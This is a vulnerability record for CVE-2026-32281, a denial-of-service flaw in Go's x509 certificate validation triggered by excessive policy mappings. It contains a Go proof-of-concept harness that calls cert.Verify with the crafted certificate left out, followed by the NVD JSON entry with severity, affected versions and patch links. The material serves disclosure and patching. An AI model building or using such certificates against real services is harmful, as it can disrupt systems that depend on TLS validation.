CVE-2026-32281

package main import ( "crypto/x509" "encoding/pem" "fmt" "time" ) // This is a conceptual PoC. Generating a cert with 50k+ policy mappings // requires a more complex setup or a specific crafted PEM file. // This snippet demonstrates the verification trigger. func main() { // In a real exploit, 'maliciousCertPEM' would contain a certificate // with a massive number of policy mappings (e.g., 50,000+). maliciousCertPEM := `-----BEGIN CERTIFICATE----- ... (Malicious Certificate Data with many Policy Mappings) ... -----END CERTIFICATE-----` block, _ := pem.Decode([]byte(maliciousCertPEM)) if block == nil { panic("failed to parse certificate PEM") } cert, err := x509.ParseCertificate(block.Bytes) if err != nil { panic("failed to parse certificate: " + err.Error()) } // Setup verification options with a system pool or trusted roots opts := x509.VerifyOptions{ Roots: nil, // Uses system roots CurrentTime: time.Now(), KeyUsages: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, } // Trigger the inefficient validation logic fmt.Println("Starting verification...") chains, err := cert.Verify(opts) if err != nil { fmt.Printf("Verification failed (expected DoS or error): %v\n", err) } else { fmt.Printf("Verification succeeded: %v\n", chains) } }

{"cve": {"id": "CVE-2026-32281", "sourceIdentifier": "[email protected]", "published": "2026-04-08T02:16:03.350", "lastModified": "2026-04-16T19:15:57.750", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Validating certificate chains which use policies is unexpectedly inefficient when certificates in the chain contain a very large number of policy mappings, possibly causing denial of service. This only affects validation of otherwise trusted certificate chains, issued by a root CA in the VerifyOptions.Roots CertPool, or in the system certificate pool."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-295"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:golang:go:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.25.9", "matchCriteriaId": "C6C9C072-9817-402D-877F-F83584B07017"}, {"vulnerable": true, "criteria": "cpe:2.3:a:golang:go:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.26.0", "versionEndExcluding": "1.26.2", "matchCriteriaId": "39FE9BAF-55E9-43AA-B14E-239E7EF1D65D"}]}]}], "references": [{"url": "https://go.dev/cl/758061", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://go.dev/issue/78281", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://groups.google.com/g/golang-announce/c/0uYbvbPZRWU", "source": "[email protected]", "tags": ["Release Notes", "Issue Tracking"]}, {"url": "https://pkg.go.dev/vuln/GO-2026-4946", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}